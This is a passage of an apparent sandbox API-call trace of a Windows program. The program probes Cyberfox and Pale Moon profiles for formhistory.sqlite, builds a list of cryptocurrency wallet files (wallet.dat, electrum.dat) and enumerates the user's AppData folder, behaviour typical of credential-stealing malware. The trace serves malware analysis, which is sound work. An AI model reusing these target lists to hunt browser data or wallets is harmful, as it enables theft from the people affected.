lpWideCharStr="formhistory.sqlite牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 18 [0061.829] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.829] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.830] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\8pecxstudios\\Cyberfox\\Profiles\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\") returned 0x4e [0061.830] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.830] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc788, cbMultiByte=18, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 18 [0061.830] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.830] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.830] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Moonchild Productions\\Pale Moon\\Profiles\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\") returned 0x58 [0061.830] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.830] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc788, cbMultiByte=18, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 18 [0061.830] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.830] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.830] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned 0x2f [0061.830] SysReAllocStringLen (in: pbstr=0x42ad418*=0x0, psz=".wallet", len=0x7 | out: pbstr=0x42ad418*=".wallet") returned 1 [0061.830] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x37831cc, cbMultiByte=15, lpWideCharStr=0x18d324, cchWideChar=2047 | out: lpWideCharStr="wallets\\.wallet") returned 15 [0061.830] SysReAllocStringLen (in: pbstr=0x42ad41c*=0x0, psz="wallets\\.wallet", len=0xf | out: pbstr=0x42ad41c*="wallets\\.wallet") returned 1 [0061.830] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x37831e8, cbMultiByte=10, lpWideCharStr=0x18d324, cchWideChar=2047 | out: lpWideCharStr="wallet.datallet") returned 10 [0061.830] SysReAllocStringLen (in: pbstr=0x42ad420*=0x0, psz="wallet.dat", len=0xa | out: pbstr=0x42ad420*="wallet.dat") returned 1 [0061.830] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3783200, cbMultiByte=18, lpWideCharStr=0x18d324, cchWideChar=2047 | out: lpWideCharStr="wallets\\wallet.dat\x10") returned 18 [0061.830] SysReAllocStringLen (in: pbstr=0x42ad424*=0x0, psz="wallets\\wallet.dat", len=0x12 | out: pbstr=0x42ad424*="wallets\\wallet.dat") returned 1 [0061.830] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3783220, cbMultiByte=12, lpWideCharStr=0x18d324, cchWideChar=2047 | out: lpWideCharStr="electrum.datet.dat\x10") returned 12 [0061.830] SysReAllocStringLen (in: pbstr=0x42ad428*=0x0, psz="electrum.dat", len=0xc | out: pbstr=0x42ad428*="electrum.dat") returned 1 [0061.830] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x378323c, cbMultiByte=20, lpWideCharStr=0x18d324, cchWideChar=2047 | out: lpWideCharStr="wallets\\electrum.dat传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ƞꢅ펀\x18Ɩꢅ펈\x18⹼疘Љ") returned 20 [0061.830] SysReAllocStringLen (in: pbstr=0x42ad42c*=0x0, psz="wallets\\electrum.dat", len=0x14 | out: pbstr=0x42ad42c*="wallets\\electrum.dat") returned 1 [0061.831] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\\\*", lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9682c550, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x9682c550, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x68d540 [0061.831] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9682c550, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x9682c550, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.831] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8541cb80, ftCreationTime.dwHighDateTime=0x1d4d208, ftLastAccessTime.dwLowDateTime=0xf62d6640, ftLastAccessTime.dwHighDateTime=0x1d4cd82, ftLastWriteTime.dwLowDateTime=0xf62d6640, ftLastWriteTime.dwHighDateTime=0x1d4cd82, nFileSizeHigh=0x0, nFileSizeLow=0x9046, dwReserved0=0x0, dwReserved1=0x0, cFileName="0vqweAyAtiu.m4a", cAlternateFileName="0VQWEA~1.M4A")) returned 1 [0061.831] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3341bb80, ftCreationTime.dwHighDateTime=0x1d4d1a2, ftLastAccessTime.dwLowDateTime=0xcc4ef580, ftLastAccessTime.dwHighDateTime=0x1d4cf5a, ftLastWriteTime.dwLowDateTime=0xcc4ef580, ftLastWriteTime.dwHighDateTime=0x1d4cf5a, nFileSizeHigh=0x0, nFileSizeLow=0x5939, dwReserved0=0x0, dwReserved1=0x0, cFileName="6NIS.avi", cAlternateFileName="")) returned 1 [0061.831] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9a57b000, ftCreationTime.dwHighDateTime=0x1d4cc8d, ftLastAccessTime.dwLowDateTime=0xe2b94190, ftLastAccessTime.dwHighDateTime=0x1d4c61d, ftLastWriteTime.dwLowDateTime=0xe2b94190, ftLastWriteTime.dwHighDateTime=0x1d4c61d, nFileSizeHigh=0x0, nFileSizeLow=0x8d76, dwReserved0=0x0, dwReserved1=0x0, cFileName="a1YYw4clJN6.avi", cAlternateFileName="A1YYW4~1.AVI")) returned 1 [0061.831] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9a393a00, ftCreationTime.dwHighDateTime=0x1d4cd26, ftLastAccessTime.dwLowDateTime=0x3145ff20, ftLastAccessTime.dwHighDateTime=0x1d4ce0b, ftLastWriteTime.dwLowDateTime=0x3145ff20, ftLastWriteTime.dwHighDateTime=0x1d4ce0b, nFileSizeHigh=0x0, nFileSizeLow=0xeb97, dwReserved0=0x0, dwReserved1=0x0, cFileName="A4py8SI1rL.gif", cAlternateFileName="A4PY8S~1.GIF")) returned 1 [0061.831] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0061.937] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ff69e20, ftCreationTime.dwHighDateTime=0x1d4cbf5, ftLastAccessTime.dwLowDateTime=0xceb82a50, ftLastAccessTime.dwHighDateTime=0x1d4ca99, ftLastWriteTime.dwLowDateTime=0xceb82a50, ftLastWriteTime.dwHighDateTime=0x1d4ca99, nFileSizeHigh=0x0, nFileSizeLow=0x29a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ak2vRw6Tk3n.gif", cAlternateFileName="AK2VRW~1.GIF")) returned 1 [0061.937] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xae770750, ftCreationTime.dwHighDateTime=0x1d4d53b, ftLastAccessTime.dwLowDateTime=0xb5196d90, ftLastAccessTime.dwHighDateTime=0x1d4ca1a, ftLastWriteTime.dwLowDateTime=0xb5196d90, ftLastWriteTime.dwHighDateTime=0x1d4ca1a, nFileSizeHigh=0x0, nFileSizeLow=0xfca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARLlNBsTl2X.pps", cAlternateFileName="ARLLNB~1.PPS")) returned 1 [0061.937] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xab587a20, ftCreationTime.dwHighDateTime=0x1d4d015, ftLastAccessTime.dwLowDateTime=0xa51bcbd0, ftLastAccessTime.dwHighDateTime=0x1d4ca25, ftLastWriteTime.dwLowDateTime=0xa51bcbd0, ftLastWriteTime.dwHighDateTime=0x1d4ca25, nFileSizeHigh=0x0, nFileSizeLow=0xa5c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bW73bkQs.mkv", cAlternateFileName="")) returned 1 [0061.937] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x73e71cc0, ftCreationTime.dwHighDateTime=0x1d4c9fa, ftLastAccessTime.dwLowDateTime=0x8b390720, ftLastAccessTime.dwHighDateTime=0x1d4c546, ftLastWriteTime.dwLowDateTime=0x8b390720, ftLastWriteTime.dwHighDateTime=0x1d4c546, nFileSizeHigh=0x0, nFileSizeLow=0xc07c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bx p9mh0yzK5BEe.wav", cAlternateFileName="BXP9MH~1.WAV")) returned 1 [0061.937] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa8138530, ftCreationTime.dwHighDateTime=0x1d4d1be, ftLastAccessTime.dwLowDateTime=0xcd7022a0, ftLastAccessTime.dwHighDateTime=0x1d4c6b7, ftLastWriteTime.dwLowDateTime=0xcd7022a0, ftLastWriteTime.dwHighDateTime=0x1d4c6b7, nFileSizeHigh=0x0, nFileSizeLow=0x79c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="do33gM4CVW1AzR8Q.wav", cAlternateFileName="DO33GM~1.WAV")) returned 1 [0061.937] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d83a920, ftCreationTime.dwHighDateTime=0x1d4d288, ftLastAccessTime.dwLowDateTime=0xa110ad40, ftLastAccessTime.dwHighDateTime=0x1d4c948, ftLastWriteTime.dwLowDateTime=0xa110ad40, ftLastWriteTime.dwHighDateTime=0x1d4c948, nFileSizeHigh=0x0, nFileSizeLow=0x2ceb, dwReserved0=0x0, dwReserved1=0x0, cFileName="fotx5Sb4zqeXkGAe.jpg", cAlternateFileName="FOTX5S~1.JPG")) returned 1 [0061.937] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaaa40160, ftCreationTime.dwHighDateTime=0x1d4c879, ftLastAccessTime.dwLowDateTime=0x38106840, ftLastAccessTime.dwHighDateTime=0x1d4cffa, ftLastWriteTime.dwLowDateTime=0x38106840, ftLastWriteTime.dwHighDateTime=0x1d4cffa, nFileSizeHigh=0x0, nFileSizeLow=0xab62, dwReserved0=0x0, dwReserved1=0x0, cFileName="FtgQfxUKUMeG.jpg", cAlternateFileName="FTGQFX~1.JPG")) returned 1 [0061.937] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xee6c4e20, ftCreationTime.dwHighDateTime=0x1d4c7cf, ftLastAccessTime.dwLowDateTime=0xe4e78270, ftLastAccessTime.dwHighDateTime=0x1d4d5a3, ftLastWriteTime.dwLowDateTime=0xe4e78270, ftLastWriteTime.dwHighDateTime=0x1d4d5a3, nFileSizeHigh=0x0, nFileSizeLow=0xd82a, dwReserved0=0x0, dwReserved1=0x0, cFileName="fyO-_3.bmp", cAlternateFileName="")) returned 1 [0061.937] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c6c5350, ftCreationTime.dwHighDateTime=0x1d4cb14, ftLastAccessTime.dwLowDateTime=0x8cddf4b0, ftLastAccessTime.dwHighDateTime=0x1d4d314, ftLastWriteTime.dwLowDateTime=0x8cddf4b0, ftLastWriteTime.dwHighDateTime=0x1d4d314, nFileSizeHigh=0x0, nFileSizeLow=0x12710, dwReserved0=0x0, dwReserved1=0x0, cFileName="HTDHAZSHjhfxMOVV0m.mp4", cAlternateFileName="HTDHAZ~1.MP4")) returned 1 [0061.938] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x10c95800, ftCreationTime.dwHighDateTime=0x1d4ce60, ftLastAccessTime.dwLowDateTime=0x15ef29c0, ftLastAccessTime.dwHighDateTime=0x1d4c647, ftLastWriteTime.dwLowDateTime=0x15ef29c0, ftLastWriteTime.dwHighDateTime=0x1d4c647, nFileSizeHigh=0x0, nFileSizeLow=0x4186, dwReserved0=0x0, dwReserved1=0x0, cFileName="hzPupXAo.bmp", cAlternateFileName="")) returned 1 [0061.938] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x354ee140, ftCreationTime.dwHighDateTime=0x1d4d46e, ftLastAccessTime.dwLowDateTime=0xfa8f2100, ftLastAccessTime.dwHighDateTime=0x1d4cdf6, ftLastWriteTime.dwLowDateTime=0xfa8f2100, ftLastWriteTime.dwHighDateTime=0x1d4cdf6, nFileSizeHigh=0x0, nFileSizeLow=0xaabe, dwReserved0=0x0, dwReserved1=0x0, cFileName="ibDIs1r6-ndxi.gif", cAlternateFileName="IBDIS1~1.GIF")) returned 1 [0061.938] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0061.938] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6235f160, ftCreationTime.dwHighDateTime=0x1d4d015, ftLastAccessTime.dwLowDateTime=0x940a25d0, ftLastAccessTime.dwHighDateTime=0x1d4c9df, ftLastWriteTime.dwLowDateTime=0x940a25d0, ftLastWriteTime.dwHighDateTime=0x1d4c9df, nFileSizeHigh=0x0, nFileSizeLow=0x14d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="IteAWH2uCVNUd.mp3", cAlternateFileName="ITEAWH~1.MP3")) returned 1 [0061.938] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5cc9d0, ftCreationTime.dwHighDateTime=0x1d4c809, ftLastAccessTime.dwLowDateTime=0xfe445f0, ftLastAccessTime.dwHighDateTime=0x1d4cf62, ftLastWriteTime.dwLowDateTime=0xfe445f0, ftLastWriteTime.dwHighDateTime=0x1d4cf62, nFileSizeHigh=0x0, nFileSizeLow=0xc2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="iv2OYR.gif", cAlternateFileName="")) returned 1 [0061.938] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1689d70, ftCreationTime.dwHighDateTime=0x1d4c678, ftLastAccessTime.dwLowDateTime=0x7394d4e0, ftLastAccessTime.dwHighDateTime=0x1d4cca9, ftLastWriteTime.dwLowDateTime=0x7394d4e0, ftLastWriteTime.dwHighDateTime=0x1d4cca9, nFileSizeHigh=0x0, nFileSizeLow=0x11ded, dwReserved0=0x0, dwReserved1=0x0, cFileName="JEJWIo1Dz 2x.png", cAlternateFileName="JEJWIO~1.PNG")) returned 1 [0061.938] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6b695060, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6b695060, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1 [0061.938] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xae9a4ff0, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0xae9a4ff0, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0061.939] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0061.939] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cad3cf0, ftCreationTime.dwHighDateTime=0x1d4cb9c, ftLastAccessTime.dwLowDateTime=0xbdac95c0, ftLastAccessTime.dwHighDateTime=0x1d4cb7a, ftLastWriteTime.dwLowDateTime=0xbdac95c0, ftLastWriteTime.dwHighDateTime=0x1d4cb7a, nFileSizeHigh=0x0, nFileSizeLow=0x1708a, dwReserved0=0x0, dwReserved1=0x0, cFileName="nh99MiyA5JTCdZZN7.swf", cAlternateFileName="NH99MI~1.SWF")) returned 1 [0061.939] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa8307870, ftCreationTime.dwHighDateTime=0x1d4d4f2, ftLastAccessTime.dwLowDateTime=0xe4772c20, ftLastAccessTime.dwHighDateTime=0x1d4c8b8, ftLastWriteTime.dwLowDateTime=0xe4772c20, ftLastWriteTime.dwHighDateTime=0x1d4c8b8, nFileSizeHigh=0x0, nFileSizeLow=0x12152, dwReserved0=0x0, dwReserved1=0x0, cFileName="oi4vBDUC.doc", cAlternateFileName="")) returned 1 [0061.939] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa9fccdc0, ftCreationTime.dwHighDateTime=0x1d4d0f1, ftLastAccessTime.dwLowDateTime=0x71a45b80, ftLastAccessTime.dwHighDateTime=0x1d4ce96, ftLastWriteTime.dwLowDateTime=0x71a45b80, ftLastWriteTime.dwHighDateTime=0x1d4ce96, nFileSizeHigh=0x0, nFileSizeLow=0x13c65, dwReserved0=0x0, dwReserved1=0x0, cFileName="oXxClzf7UiK.png", cAlternateFileName="OXXCLZ~1.PNG")) returned 1 [0061.939] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa69dfc0, ftCreationTime.dwHighDateTime=0x1d4c97e, ftLastAccessTime.dwLowDateTime=0xf872d220, ftLastAccessTime.dwHighDateTime=0x1d4cd71, ftLastWriteTime.dwLowDateTime=0xf872d220, ftLastWriteTime.dwHighDateTime=0x1d4cd71, nFileSizeHigh=0x0, nFileSizeLow=0xf713, dwReserved0=0x0, dwReserved1=0x0, cFileName="plaRW1HX88.gif", cAlternateFileName="PLARW1~1.GIF")) returned 1 [0061.939] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3d6e7910, ftCreationTime.dwHighDateTime=0x1d4d4bb, ftLastAccessTime.dwLowDateTime=0x10d358a0, ftLastAccessTime.dwHighDateTime=0x1d4cde8, ftLastWriteTime.dwLowDateTime=0x10d358a0, ftLastWriteTime.dwHighDateTime=0x1d4cde8, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="PM9_GjEtjVdmwWU9.jpg", cAlternateFileName="PM9_GJ~1.JPG")) returned 1 [0061.939] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x349ee6e0, ftCreationTime.dwHighDateTime=0x1d4ca15, ftLastAccessTime.dwLowDateTime=0x39478f10, ftLastAccessTime.dwHighDateTime=0x1d4cd91, ftLastWriteTime.dwLowDateTime=0x39478f10, ftLastWriteTime.dwHighDateTime=0x1d4cd91, nFileSizeHigh=0x0, nFileSizeLow=0x10290, dwReserved0=0x0, dwReserved1=0x0, cFileName="t8h7uOM2dG0ElJyiG5.png", cAlternateFileName="T8H7UO~1.PNG")) returned 1 [0061.939] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc0b0c790, 